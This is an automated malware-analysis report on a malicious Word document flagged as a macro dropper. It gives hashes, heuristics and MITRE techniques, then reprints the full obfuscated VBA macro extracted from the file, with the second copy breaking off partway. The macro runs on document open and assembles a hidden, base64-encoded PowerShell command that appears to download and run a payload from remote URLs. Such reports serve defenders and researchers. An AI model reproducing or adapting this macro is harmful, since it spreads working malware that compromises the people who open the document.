Office (OLE) malware analysis — malicious · 01f27be1fea576a0

MALICIOUS

Office (OLE)

119.5 KB Created: 2018-05-29 12:12:00 Authoring application: Microsoft Office Word First seen: 2018-07-08

MD5: 334918cf13a2c0381afa5dcab2174a81 SHA-1: 9571739ed0bfb44848862f777848b96064275cc1 SHA-256: 01f27be1fea576a0af6630132c3cdc0da015f4057a1930cd74d63ffe81071f6d

210 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with a critical heuristic firing for Shell() calls. The macro constructs a PowerShell command, which is then likely used to download and execute a second-stage payload. The ClamAV detection name 'Doc.Dropper.Agent-6568572-0' further supports its role as a dropper.

Heuristics 7

ClamAV: Doc.Dropper.Agent-6568572-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6568572-0
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA

Matched line in script

VhBn = CDate(17594)
rhnIWkbQfPp = YprmzwLatt + Shell(MQEYbqLTjsP + Chr(vbKeyP) + ozTWd + bsOAHXHiCp, vbHide)
OoVUN = Fix(27303 / CSng(91298) * jFnwJa * DPzNT)

AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Function
Sub Autoopen()
On Error Resume Next
```
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY

OLE file is 122,368 bytes but its declared streams total only 36,626 bytes — 85,742 bytes (70%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18018 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	18018 bytes
SHA-256: `e75b4b5f3879cacf303bab37a960a2a1808cd8bed3761bc549c5d96f3078933a`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "iuYtCzYlQuW" Function ffBDsrAVN() On Error Resume Next BTQBX = Fix(76746 / CSng(82320) * jaMiE * OfXkC) VhBn = CDate(35646) SWPqcpMK = "owersHe" + "LL -WinD" + "owsTyle" + " hidden -e IAA" + "oACgAIgB" hIZWfV = Fix(99161 / CSng(66359) * rEkEtS * pzXPPn) VhBn = CDate(3105) SThfdGTlv = "7ADMANA" + "B9AHsAMQB" + "9AHsAMQAz" + "ADEAf" + "QB7ADk" + "ANAB9AH" + "sAMQAzADgAfQB7A" + "DEANwB9A" + "HsAMQA2" + "AH0AewAxADQAN" pFmNL = Fix(37585 / CSng(96695) * RPULr * sSrjmj) VhBn = CDate(14393) PWjUoKB = "QB9AHsAMQA" + "xADUAfQB7ADEAMA" + "A1AH0A" + "ewAxADUAMQB9AHs" zYvnik = Fix(60759 / CSng(6057) * tHThZj * XasiTo) VhBn = CDate(48963) PUFilJw = "AOQAyAH0AewAzAD" + "MAfQB7" + "ADcANwB9AHsAMQ" + "AxADAAfQB7ADEAN" + "AAzAH0AewAx" + "ADAAOAB9AHsAMQ" + "AyADgAfQB7ADMAM" + "QB9AHsAMQAxAH0" + "AewAxADIA" + "NgB9AHsANQ" AJHEY = Fix(67025 / CSng(2862) * zrFNS * lNqOk) VhBn = CDate(51385) VQlYJUsGv = "A3AH0Ae" + "wAxADEAOQ" + "B9AHsANAA1AH0Ae" + "wAxADIAMQB9A" + "HsANgB9AHsAMQ" + "AxADMAfQB" + "7ADgANQB9AH" + "sAMQAwADQAfQB7A" ffBDsrAVN = SWPqcpMK + SThfdGTlv + PWjUoKB + PUFilJw + VQlYJUsGv End Function Function HWcBzUvV() On Error Resume Next XwSjF = Fix(18380 / CSng(22002) * YfLzom * dafwr) VhBn = CDate(79399) izENaz = "DQAOQB9" + "AHsAM" + "QA1ADUAfQB7A" + "DIAMQB9" pUWTz = Fix(80230 / CSng(60463) * EEwDdL * VSZqaZ) VhBn = CDate(23324) RhIzwkHKUS = "AHsAOAAyAH0A" + "ewAxADAAfQB" + "7ADEANQA" + "3AH0AewA4ADcA" + "fQB7ADg" + "ANAB9AHsANQA4AH" NikMkP = Fix(68641 / CSng(76589) * OBIzMm * VLfaH) VhBn = CDate(1389) NtrDiQNd = "0AewA2AD" + "QAfQB" + "7ADEAMQA0AH0Aew" + "AxADQ" + "AOAB9AHsAMQA0A" + "DcAfQB7ADEAMQAx" + "AH0AewA2ADYA" + "fQB7ADEAMgA3AH0" + "AewA0ADIA" + "fQB7ADcA" JNnEMX = Fix(3456 / CSng(27581) * daIoOd * dUQPob) VhBn = CDate(6165) HioTwtsmm = "OAB9AHsAMQAw" + "ADcAf" + "QB7ADcANg" + "B9AHsANwA" JjPUPt = Fix(71991 / CSng(74540) * tbzwK * QhAFi) VhBn = CDate(42929) TCBjoKDhCO = "wAH0AewAxADUAMg" + "B9AHsAMwA5AH0Ae" + "wAyADkAfQB7AD" + "EAMAAwAH0Aew" + "AxADEAO" + "AB9AHsA" + "MQA1ADkAfQ" + "B7ADkAMAB9AHs" + "AMQAyAD" zvsQC = Fix(11600 / CSng(82118) * whKuvj * hwCso) VhBn = CDate(91584) WWUDvK = "UAfQB7ADEAN" + "QAwAH0AewAzA" + "DYAfQ" + "B7ADEAM" + "AA2AH0AewAyAD" niwSzz = Fix(66884 / CSng(77265) * YWFiT * zrfwcz) VhBn = CDate(87237) sQwoOaaI = "AAfQB7ADM" + "AfQB7AD" + "EAMQA2AH0Ae" + "wAxADMAMgB9AH" + "sAMQAzADYAfQ" HWcBzUvV = izENaz + RhIzwkHKUS + NtrDiQNd + HioTwtsmm + TCBjoKDhCO + WWUDvK + sQwoOaaI End Function Function lYEXBd() On Error Resume Next CPqIzB = Fix(4657 / CSng(72955) * IDIOSj * qCHLl) VhBn = CDate(47770) nhsYF = "B7ADg" + "AMAB9AHsAN" + "QA2AH0Aew" + "AyADYAfQB7" + "ADkAMQB" + "9AHsAOAB9AH" + "sANgA4AH0AewAxA" woFzLN = Fix(84864 / CSng(37529) * towDGr * mUmnwi) VhBn = CDate(21922) XiqdibvK = "DIAMg" + "B9AHsAMQAxADc" + "AfQB7ADEAMwAwAH" + "0AewA1A" + "DAAfQB7" jHWFa = Fix(80646 / CSng(65673) * dYsUu * rYqpG) VhBn = CDate(27637) wcHtA = "ADYANQB" + "9AHsAMgAyAH0" + "AewA3AD" + "MAfQB7AD" + "YANwB9AHsANAA" + "3AH0AewA3ADkA" + "fQB7ADkANwB" + "9AHsANwAxAH" WfBzS = Fix(40908 / CSng(82573) * kuTcsS * qmtHL) VhBn = CDate(71454) wVrWV = "0AewAyADgAfQB7A" + "DUAMQB9AH" + "sAOAA4AH0Ae" + "wAxADYAMAB9AH" + "sAMQAxADI" + "AfQB7ADE" + "ANgAzAH0AewA5" fOWpk = Fix(55787 / CSng(26907) * HYzoKb * FHUrF) VhBn = CDate(85274) rzsrfnDC = "ADYAfQB7ADEAN" + "AA0AH0AewA4ADMA" + "fQB7ADEANgA" + "xAH0Ae" + "wA5AH0AewAyA" + "DMAfQB7ADMAOAB" + "9AHsAOQA" + "5AH0AewA" + "yAH0AewAxADYAMg" YrBioi = Fix(5842 / CSng(91386) * CoDAnc * kNkmmu) VhBn = CDate(61381) udcrsu = "B9AHsANgAxA" + "H0AewAxAD" + "AAMgB9AHsAN" + "QA5AH0" + "AewAxAD" + "AAMwB9A" + "HsAMQA0ADYAf" IbVhm = Fix(73729 / CSng(39513) * aApfnB * fuMZuz) VhBn = CDate(13688) jnsAuBbB = "QB7ADkAOAB9AHs" + "ANgAwAH0AewA3AH" + "0AewA3AD" + "UAfQB7ADQA" + "MAB9AHsAM" + "QAyAD" + "QAfQB7ADM" hcdkdV = Fix(10478 / CSng(84580) * LzaMNV * MiIcA) VhBn = CDate(96788) lVBDKsv = "AMAB9AHsAMgA" + "0AH0AewAzA" + "DcAfQ" + "B7ADUAN" + "QB9AHsANwA0A" + "H0AewAxADMA" + "NwB9AHsAOQAzAH0" + "AewA1ADIAfQ" lYEXBd = nhsYF + XiqdibvK + wcHtA + wVrWV + rzsrfnDC + udcrsu + jnsAuBbB + lVBDKsv End Function Function IZFTdQQ() On Error Resume Next qiYFra = Fix(40772 / CSng(72120) * BAnEJ * rKVIK) VhBn = CDate(39029) cwWitDHrwiM = "B7ADE" + "AMwAzAH0AewAxA" + "DkAfQB7ADEAMgA" + "5AH0Aew" + "AzADU" + "AfQB7AD" + "EANAAyAH0AewA1" bcRZCM = Fix(23751 / CSng(83111) * aifmBE * NRJZt) VhBn = CDate(48629) BWZcYj = "ADQAfQB7AD" + "EANQA0AH0" + "AewA4ADEAfQB7A" + "DEAMAA5A" ZQAKq = Fix(96247 / CSng(15221) * ncAHwn * XIZNX) VhBn = CDate(49032) MBaUO = "H0AewAx" + "ADMAOQB9AHsA" + "MQAyADMA" + "fQB7AD" YWAmu = Fix(14535 / CSng(82972) * uwCPs * CBVtW) VhBn = CDate(67542) EXhjYPnH = "EANAAxAH0" + "AewAyADU" + "AfQB7ADgAOQB" + "9AHsANAAxAH0A" + "ewA5ADUAfQB7A" + "DEANQB9AHsANAB" + "9AHsAM" + "QA0AH0AewAxAD" CluHcu = Fix(88112 / CSng(988) * jCmUr * KDDAAl) VhBn = CDate(66017) zqwXj = "MANAB9AH" + "sAMgA3AH0Aew" + "A0ADQAfQB7" + "ADEANAAwAH0Aew" FjuKU = Fix(12821 / CSng(6947) * AqJVk * fRMzB) VhBn = CDate(87859) rAwwwdrJhSj = "A0ADMAfQB7AD" + "QAOAB9AHsAMQ" + "A1ADgAfQB7AD" + "EANAA5AH0Aew" zcXQY = Fix(84434 / CSng(33975) * ViKUho * hkYtzM) VhBn = CDate(2600) FHioicG = "AxADUANgB9AHs" + "AMQAw" + "ADEAf" + "QB7ADYAMw" + "B9AHsANAA2AH" + "0AewA4A" + "DYAfQ" + "B7ADYA" + "OQB9AHsAMQ" + "AyADAAfQB7ADEAM" IZFTdQQ = cwWitDHrwiM + BWZcYj + MBaUO + EXhjYPnH + zqwXj + rAwwwdrJhSj + FHioicG End Function Function VXcwzOQdrO() On Error Resume Next LVtDYl = Fix(76372 / CSng(6126) * opFDWt * OliiHz) VhBn = CDate(2565) GZiGhGFo = "wA1AH0AewA" + "xADMAfQB7ADEAO" + "AB9AHsAMQA1A" + "DMAfQ" + "B7ADcAMgB9AHs" + "ANQAzAH0AewAx" + "ADIAfQB7" + "ADYAMgB9" + "AHsAMwAyAH0" REjbY = Fix(14524 / CSng(93402) * wjMui * tDifaj) VhBn = CDate(84189) jkptvbznFfa = "AewAwAH0AewA1AH" + "0AIgAgAC0AZgAnA" + "HQAYwBoAHsAfQA" + "nACwAJ" + "wB3AG4AcwAnAC" + "wAJwBvAFEAQABrA" XLrcfL = Fix(65770 / CSng(43082) * LUqlUC * icsmH) VhBn = CDate(45202) ctDbUHQii = "CcALAA" + "nAHMAJwAsA" + "CcAcwBEACg" + "AawAnACwAJ" + "wB9ACcAL" + "AAnAHQA" wRasa = Fix(93780 / CSng(54488) * VLihY * vclUcr) VhBn = CDate(1966) XvAfj = "JwAsACcAUQAgAC" + "sAIABrACcALAA" + "nAHoAeQ" + "AnACwAJwBRA" oCYBWA = Fix(95588 / CSng(76832) * czBtL * SHZMm) VhBn = CDate(98462) Siakw = "C4AUwA" + "nACwAJwA9ACc" + "ALAAnAG8AJwAsAC" + "cAKQA7AGIA" DmdbiA = Fix(12845 / CSng(32991) * fIXdXU * abbhF) VhBn = CDate(12073) isjDj = "JwAsACc" + "AdABlAG" + "0AawBvAFEA" + "KQAoAGsA" + "JwAsACcASQB3A" + "GEAcwAnAC" + "wAJwBkA" + "EYASQ" + "BBAEcATA" XqkXTN = Fix(4697 / CSng(59811) * bIzlY * RzhozT) VhBn = CDate(84774) CNwDdC = "BsAGUAeAAnACwA" + "JwBrAG8AUQAnA" + "CwAJwBrAG8A" + "UQBuACcA" + "LAAnA" + "EkAdwAnACwAJ" + "wBmAGMAIAAnA" hhwiz = Fix(70862 / CSng(22362) * ZwFFl * cnDcAu) VhBn = CDate(93795) pDDmZzUDvL = "CwAJwBuAGQAcwB" + "0AHIAYQAnACwAJ" + "wBuAHQAO" + "wBrAEkAdw" YiAjJ = Fix(56901 / CSng(157) * JOfVC * ViDuCJ) VhBn = CDate(68044) ihUMwqU = "AnACwAJwAvA" + "C8AcwBsAHkAdA" + "AnACwAJwBw" + "AGwAJwAsACcA" + "awBvAC" + "cALAAnAEEARwB" + "MACcALAAnAC" + "8AQABo" + "AHQAdABwAD" + "oALwAnACw" VXcwzOQdrO = GZiGhGFo + jkptvbznFfa + ctDbUHQii + XvAfj + Siakw + isjDj + CNwDdC + pDDmZzUDvL + ihUMwqU End Function Function Vvqnd() On Error Resume Next jSJTV = Fix(87966 / CSng(70543) * SzYNJ * hSbiR) VhBn = CDate(16094) QclwGjjQ = "AJwBzAEQAVAB" + "vAFMAJ" + "wAsACcAOg" + "AnACwAJwBuACcA" + "LAAnACAAK" qaPvlS = Fix(48464 / CSng(48394) * snkVB * XpIGjo) VhBn = CDate(91275) AoRHuk = "ABrAG8AUQAuA" + "GUAeAAnAC" + "wAJwBlAGsAb" + "wBRACsAaw" + "AnACwAJwB" wphFwk = Fix(36811 / CSng(39336) * bOpstY * bLvMEl) VhBn = CDate(55403) RGLUnUINz = "jAGEAJwAsACc" + "AbwBR" + "ACkAIAB" + "yAGEAbgBkAG" + "8AbQAnACwAJwB" + "rAEkAJwAsACcA" + "bgAnACwAJwAvAH" + "UAJwAsACcAUQA" NzvlZL = Fix(53574 / CSng(99228) * rSGEMc * nXvJGM) VhBn = CDate(81667) oUuVjV = "rACcA" + "LAAnAGkAdA" + "AoACcALAAnAHQ" + "AdABwAD" + "oALwAvAH" + "UAcAB0AG8A" + "JwAsACcAUwBCAC" + "cALAAnAG4" + "AJwAsACcAQQAn" + "ACwAJwBpAEEAJw" RYfVsj = Fix(56665 / CSng(22743) * trzoh * jzPuAa) VhBn = CDate(34801) wnzIAhdjs = "AsACcA" + "dAByA" + "EEAJwAsACcAUQ" + "AtAG8" + "AYgAnACwAJw" + "BJACcALAAnAG0A" + "LwAwAEY" OjGYjp = Fix(36423 / CSng(63855) * ISTBj * GMOGu) VhBn = CDate(21455) fJKQRJmbWRN = "AegBKAEIAJwA" + "sACcAR" + "wBMAE4AZwB" + "4AHMARAAoAC" + "kALAA" + "gAGsAJw" + "AsACcAbQ" + "AuAE4AZQB0" + "AC4AVwBlACcALAA" Vvqnd = QclwGjjQ + AoRHuk + RGLUnUINz + oUuVjV + wnzIAhdjs + fJKQRJmbWRN End Function Function AMTWlN() On Error Resume Next izFdP = Fix(20605 / CSng(83646) * qCztQ * lKwWtM) VhBn = CDate(81263) VSOLmmidGDv = "nAC8AJwAsACcA" + "LwAvACcALA" + "AnAGYAbwByA" + "CcALAAnAEMAJwA" + "sACcAQQBEAEMAW" WOtzsI = Fix(65170 / CSng(72282) * YTtEH * DZIpj) VhBn = CDate(35567) kEPLlV = "AApAHsAd" + "AByAHkAJwAsACc" + "AawBvAFEAJwAs" + "ACcAMg" + "A4ACc" + "ALAAnAHcAawB" UHPUV = Fix(3143 / CSng(34565) * Awfqdr * PSjkEi) VhBn = CDate(52765) kHnNGzid = "vAFEAKwBr" + "ACcALAAnAGEAZ" + "AAnACwAJwBJAHc" + "AZQBuAHYAOgBwAC" + "cALAAnAGsAbwAnA" Xhirsw = Fix(71318 / CSng(43311) * WGumk * njTjX) VhBn = CDate(40086) orBFWAwsK = "CwAJwA7AGsASQA" + "nACwAJwByA" + "GUAYQBrAD" + "sAfQAnAC" + "wAJwBrAG8AU" + "QAnACwAJwBh" + "AHMAJwAsA" NdcTJ = Fix(80469 / CSng(12489) * Nhshrn * KZnPcY) VhBn = CDate(39095) EJmhwDYzk = "CcAQABoA" + "HQAdABwAD" + "oAJwAs" + "ACcALAAgADI" + "AOAAyADEA" wzfuw = Fix(7767 / CSng(71513) * EFJUAP * nvQHI) VhBn = CDate(48250) DzYYjcaVq = "MwAzACk" + "AOwAnACwAJwBvAC" + "cALAAnA" + "GsAJwAsACc" + "AbwBRACsAJwAs" + "ACcACgAnA" + "CwAJwBoAHQAdA" + "BwACcALAA" + "nAEQAJwAsACcAZ" AMTWlN = VSOLmmidGDv + kEPLlV + kHnNGzid + orBFWAwsK + EJmhwDYzk + DzYYjcaVq End Function Function VtCKplYV() On Error Resume Next EskwV = Fix(89419 / CSng(93264) * sqtGf * duKuc) VhBn = CDate(67134) iEUQjZBd = "QBjAC4AYwAnACw" + "AJwBl" + "AGsAJwAsACcAS" + "QB3AE4A" + "JwAsACcAUQANACc" + "ALAAnADsAJwAsAC" ciSpvA = Fix(99964 / CSng(39279) * QLzvs * KziqCw) VhBn = CDate(24514) XBXbYMijvsd = "cARABDACcAL" + "AAnAC8A" + "JwAsACcAVgBsAC" + "cALAAnAEkAdwAn" + "ACwAJwBO" + "AFMAQgAgACc" + "ALAAnAFYAUw" + "AyAC8Aa" + "wAnACwAJwBzAC" + "cALAAnAG8AUQAp" aujCJ = Fix(634 / CSng(10656) * fqNcJ * Hauwn) VhBn = CDate(61650) nNnYOWcLf = "ACAAUw" + "B5AHMAdA" + "AnACwA" + "JwBuA" + "HYAbwBr" + "AG8AUQArAG" + "sAbwBRAGsAaw" + "AnACwAJwB3AG4" + "AJwAsACcAc" hJkdq = Fix(70025 / CSng(21784) * ljrPO * vLzqUG) VhBn = CDate(5890) QvAUN = "wBtAHAAYQBk" + "ACcALAA" + "nAFcAJwAsACcA" + "QABoAH" + "QAdABwACcAL" + "AAnAC8Ab" HhPdsr = Fix(14305 / CSng(93054) * Jjttl * YTPuAu) VhBn = CDate(17970) fJSJAJlhXfE = "QB1ACc" + "ALAAnAFEAdA" + "BrACcA" + "LAAnA" + "FEAKQA7ACc" + "ALAAnACAAJgA" + "nACwAJ" NvZMO = Fix(93417 / CSng(11646) * ZWBBC * MrTFp) VhBn = CDate(52468) tMNFjbWLWG = "wBsAEEARwBM" + "AE8AYQAnACwA" + "JwBIACcALAAnAE" + "AAJwA" + "sACcATgBnA" + "CcALAAn" VtCKplYV = iEUQjZBd + XBXbYMijvsd + nNnYOWcLf + QvAUN + fJSJAJlhXfE + tMNFjbWLWG End Function Function Uvmibf() On Error Resume Next iUwKMZ = Fix(44415 / CSng(8050) * CmwMC * Tfszzq) VhBn = CDate(14375) ivdXEkuozLC = "AGsAJwAs" + "ACcAZABlAHMAa" + "QBnAG4AYgB1" + "AGkAbABkAC4AY" + "wBvAG0ALwB" + "KAHYAJwAsAC" rjwKH = Fix(47059 / CSng(51166) * Eimiaa * CXiOM) VhBn = CDate(38407) oGHtv = "cAKAAnACwAJ" + "wB3AFM" + "ARABDACAAPQ" + "AgAGsAJw" + "AsACcAdQAnAC" + "wAJwBlAC" + "cALAAnAC" DpMdX = Fix(77109 / CSng(24926) * bsbwGa * OQfmI) VhBn = CDate(64221) LBfOzwvzEA = "sAawB" + "vAFEAdwAnACw" + "AJwBoAGwA" + "YQAnACwAJwBY" + "ACAAPQAgAGsAbw" + "AnACw" + "AJwBZAF" aXIsd = Fix(80820 / CSng(54611) * buCcj * wdAmh) VhBn = CDate(28864) Qkhfrb = "UAJwAsACcAW" + "QBZAFUA" + "JwAsA" + "CcAawAnACw" + "AJwAwAD" + "AAMAAnAC" + "wAJwBv" Uvmibf = ivdXEkuozLC + oGHtv + LBfOzwvzEA + Qkhfrb End Function Function WuFsQjtU() On Error Resume Next uDcTb = Fix(74289 / CSng(16495) * jaLhn * oViKW) VhBn = CDate(25431) irjbsplv = "AG0ALwAnACwAJwB" + "rACcALAAnAGQ" + "ALgBuAGUAJ" + "wAsACcA" Rjviu = Fix(16575 / CSng(31916) * fzaSJj * jZCDT) VhBn = CDate(95482) CzrnYW = "bwBRAC" + "cALAA" + "nAHMAJwAsA" + "CcAaQAuAH" + "AAbAAnACwAJw" + "B3ADA" + "AJwAsACcAb" + "wAnACwAJ" + "wBrAG8AUQAn" UrutsJ = Fix(15170 / CSng(41703) * KBvcXj * jirjEb) VhBn = CDate(71932) wzQRw = "ACwAJwBqAGUAYwA" + "nACwAJw" + "BvAG0AYQBu" + "ACcALAA" + "nAHMARAAnA" + "CwAJwAgACsAJ" + "wAsACc" diVpF = Fix(16273 / CSng(37574) * NZLEjB * HiJXP) VhBn = CDate(31931) EbbwjCI = "AOgAnACwAJw" + "BRACcALAAn" + "AGsASQB" + "3ACcALAAnACAAPQ" + "AgAC4" + "AKABrAG8AUQBuAC" + "cALAAnA" + "GkAJwAsACcAL" + "wBsAGU" DwzjV = Fix(48817 / CSng(53545) * otFfP * oSPTr) VhBn = CDate(16131) ppFfiW = "AbgBxAHgAJwAs" + "ACcAY" + "QBkAGEAcwBk" + "ACAAPQA" + "nACwAJwBl" + "AC4AJwAsACcA" + "ZQBhAGMAa" DLcGfN = Fix(70936 / CSng(2372) * DVwOfY * WnuRwk) VhBn = CDate(36003) YvVwzsPdhb = "AAoAG" + "sASQB" + "3AGEAcwAnA" + "CwAJwBmA" + "GMALgB4ACcALAA" + "nAGUALQBJAC" + "cALAAnAGQAZQAvA" + "DYANwAnA" + "CwAJwBv" ElHSMt = Fix(7987 / CSng(46629) * hzlWd * LqQtpj) VhBn = CDate(61867) sVqRX = "ACcALAAnAC" + "gAJwAsACcA" + "LgB4ACc" + "ALAAnAEc" + "ATAAnACwAJwB" + "EAG8AJwAsACcA" WuFsQjtU = irjbsplv + CzrnYW + wzQRw + EbbwjCI + ppFfiW + YvVwzsPdhb + sVqRX End Function Function VzjQrN() On Error Resume Next iPctj = Fix(94526 / CSng(82361) * SsiBuG * oBzzq) VhBn = CDate(63368) StdtvYT = "IABrA" + "EkAdwAnACw" + "AJwBJA" + "HcAWQAnACwA" + "JwBPAEkAJw" + "AsACcAKwB" + "rAG8AUQBlAG" nTszia = Fix(61063 / CSng(83860) * OYjdCj * XbRvjs) VhBn = CDate(84786) EQYbvNdkz = "sAJwAsA" + "CcAYgBs" + "AGkAYwAgACsAI" + "ABrAG8AUQBpAC" + "cALAAnAC" + "gAMQAwACcALAAnA" + "HgAdA" + "AnACwAJwBDACcA" uFYbsq = Fix(73479 / CSng(79674) * wcIBi * QFbPP) VhBn = CDate(56481) wchupf = "LAAnA" + "C8AJwA" + "sACcALQB" + "vAGIAagBlAGMAa" + "wBvAFEAKw" + "BrAG8AJ" + "wAsAC" + "cAaAAnAC" dPFBb = Fix(43302 / CSng(48756) * wvbQDc * Ezmci) VhBn = CDate(28707) URMOio = "wAJwBTA" + "CcALA" + "AnAHsAawAn" + "ACwAJwBiAEMAbAB" + "pAGUAJwAsACc" + "AKQA7ACYAJ" + "wAsACcAIA" + "BrAEkAJwAsACcAS" aazpMB = Fix(81413 / CSng(10455) * cwjcJW * PPQjzj) VhBn = CDate(64199) BHotGFZ = "QB3AFMAR" + "AAnACwAJwB" + "aAFgALwAnACwAJw" + "B2AGE" + "AbgBj" + "AGUAL" + "gBjACcALAAnAG8" + "AJwAsA" + "CcAbwBRACkAJwAs" fmOBbd = Fix(75349 / CSng(89545) * woiDlK * utSzR) VhBn = CDate(36818) kAbOcFuB = "ACcAZgAnAC" + "kAKQAuAHIARQBw" + "AGwAYQB" + "jAEUAKAAoAF" + "sAYwBI" siIXMS = Fix(60016 / CSng(59915) * tMKZmp * zpEniV) VhBn = CDate(83531) oEsTjzLMN = "AEEAUgB" + "dADEA" + "MAA3ACsA" + "WwBjAEgAQ" + "QBSAF0ANwA" dFrpGO = Fix(65906 / CSng(38137) * mVSSG * bQTulr) VhBn = CDate(51821) cihZFVcU = "zACsAWwBj" + "AEgAQQBSAF0AMQA" + "xADkAKQAsA" + "FsAUwB0" + "AHIAaQBuAGc" + "AXQBb" + "AGMASAB" lFPTJN = Fix(60055 / CSng(41541) * qWtHa * ZjLswn) VhBn = CDate(32491) AKsDk = "BAFIAXQAzADYAKQ" + "AuAHIARQBw" + "AGwAY" + "QBjAEUAKAA" + "oAFsAYwBIAEEAU" + "gBdADYANQArAF" + "sAYwBIAEEAUgB" + "dADcAMQArAFsAY" VzjQrN = StdtvYT + EQYbvNdkz + wchupf + URMOio + BHotGFZ + kAbOcFuB + oEsTjzLMN + cihZFVcU + AKsDk End Function Function nnYHlM() On Error Resume Next KtOcX = Fix(21276 / CSng(51821) * uCUGj * uYGjQw) VhBn = CDate(53555) FOvHEsYw = "wBIAEEAUg" + "BdADcANgApACwA" + "WwBTA" + "HQAcgBpAG4AZwBd" + "AFsAYwBIAEEAUg" + "BdADk" + "ANgApAC" + "4AcgBF" + "AHAAbABhAGMARQ" + "AoACgAWwBjAEgAQ" MSBauN = Fix(50313 / CSng(98023) * zUjFau * IKwkbq) VhBn = CDate(74405) pjkjCiEsJ = "QBSAF0AMQ" + "AyADAAKwBbAGM" + "ASABBAFIAXQAx" + "ADEANQ" + "ArAFsAYwBIAEE" + "AUgBdADYAO" + "AApACwAWwBT" + "AHQAcgBp" Gilmm = Fix(34154 / CSng(42831) * uOjvb * QNjvaX) VhBn = CDate(73129) EalTUrVi = "AG4AZ" + "wBdAF" + "sAYwB" + "IAEEAUgBdADMAN" + "AApAC4A" + "cgBFAHAAb" + "ABhAGMARQAoACgA" + "WwBjAEgAQQBSA" + "F0AMQA" kUdVY = Fix(12316 / CSng(4108) * UWjjUL * nMKbCo) VhBn = CDate(82579) WGlCwHltXpb = "wADcAKwBb" + "AGMASA" + "BBAFIAXQAx" + "ADEAMQArAFsA" + "YwBIAE" + "EAUgBdADgA" + "MQApACwAWwBT" + "AHQAcgBpAG4A" nnYHlM = FOvHEsYw + pjkjCiEsJ + EalTUrVi + WGlCwHltXpb End Function Function HoaiiwCQfJn() On Error Resume Next zJLtjE = Fix(60703 / CSng(31410) * iGzRJ * tPQDt) VhBn = CDate(19632) DGJQCIhN = "ZwBdAFsAY" + "wBIAE" + "EAUgBdAD" + "MAOQApAC4A" + "cgBFAHAAbA" + "BhAGMAR" + "QAoACcAaQBOAG" + "cAJwAsAFsAU" ucFks = Fix(67645 / CSng(30266) * jLtaiL * MSmpF) VhBn = CDate(32600) HkXzYkcb = "wB0AHIAa" + "QBuAGcA" + "XQBbAGMA" + "SABBAFIAXQ" + "A5ADIAKQB8ACY" + "AIAAoACAAJABw" + "AFMAaABPAG0" NNKivR = Fix(21645 / CSng(72957) * zjjPjn * MwATwu) VhBn = CDate(7686) JnfaPSMStUd = "ARQBbADQAXQArA" + "CQAcABTAEgA" + "bwBtAGUAWwAzA" + "DAAXQArACcAWA" + "AnACkA" HoaiiwCQfJn = DGJQCIhN + HkXzYkcb + JnfaPSMStUd End Function Attribute VB_Name = "iFjDzREEwwOsZ" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function inOYZpZbA() On Error Resume Next kSUvYz = Fix(17543 / CSng(4662) * AUHAkJ * idqLz) VhBn = CDate(1534) vjGOwM = Fix(55373 / CSng(18164) * DLJdI * vcjCPz) VhBn = CDate(97451) inOYZpZbA = ffBDsrAVN + HWcBzUvV + lYEXBd + IZFTdQQ + VXcwzOQdrO + Vvqnd + AMTWlN + VtCKplYV + Uvmibf + WuFsQjtU + VzjQrN + nnYHlM + HoaiiwCQfJn TPhji = Fix(21695 / CSng(56777) * jkWZMS * MpFrOE) VhBn = CDate(79945) End Function Sub Autoopen() On Error Resume Next ftAhOb = Fix(93385 / CSng(71366) * whmzPd * wcUiZG) VhBn = CDate(66892) FrStilC (inOYZpZbA) ctXMK = Fix(16269 / CSng(68841) * doBpdd * GjzZd) VhBn = CDate(58593) End Sub Function FrStilC(bsOAHXHiCp) On Error Resume Next jwMGsm = Fix(68274 / CSng(20353) * ZKjEV * jaoMk) VhBn = CDate(17594) rhnIWkbQfPp = YprmzwLatt + Shell(MQEYbqLTjsP + Chr(vbKeyP) + ozTWd + bsOAHXHiCp, vbHide) OoVUN = Fix(27303 / CSng(91298) * jFnwJa * DPzNT) VhBn = CDate(77227) End Function

SHA-256: e75b4b5f3879cacf303bab37a960a2a1808cd8bed3761bc549c5d96f3078933a

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "iuYtCzYlQuW"
Function ffBDsrAVN()
On Error Resume Next
BTQBX = Fix(76746 / CSng(82320) * jaMiE * OfXkC)
VhBn = CDate(35646)
SWPqcpMK = "owersHe" + "LL -WinD" + "owsTyle" + " hidden -e IAA" + "oACgAIgB"
hIZWfV = Fix(99161 / CSng(66359) * rEkEtS * pzXPPn)
VhBn = CDate(3105)
SThfdGTlv = "7ADMANA" + "B9AHsAMQB" + "9AHsAMQAz" + "ADEAf" + "QB7ADk" + "ANAB9AH" + "sAMQAzADgAfQB7A" + "DEANwB9A" + "HsAMQA2" + "AH0AewAxADQAN"
pFmNL = Fix(37585 / CSng(96695) * RPULr * sSrjmj)
VhBn = CDate(14393)
PWjUoKB = "QB9AHsAMQA" + "xADUAfQB7ADEAMA" + "A1AH0A" + "ewAxADUAMQB9AHs"
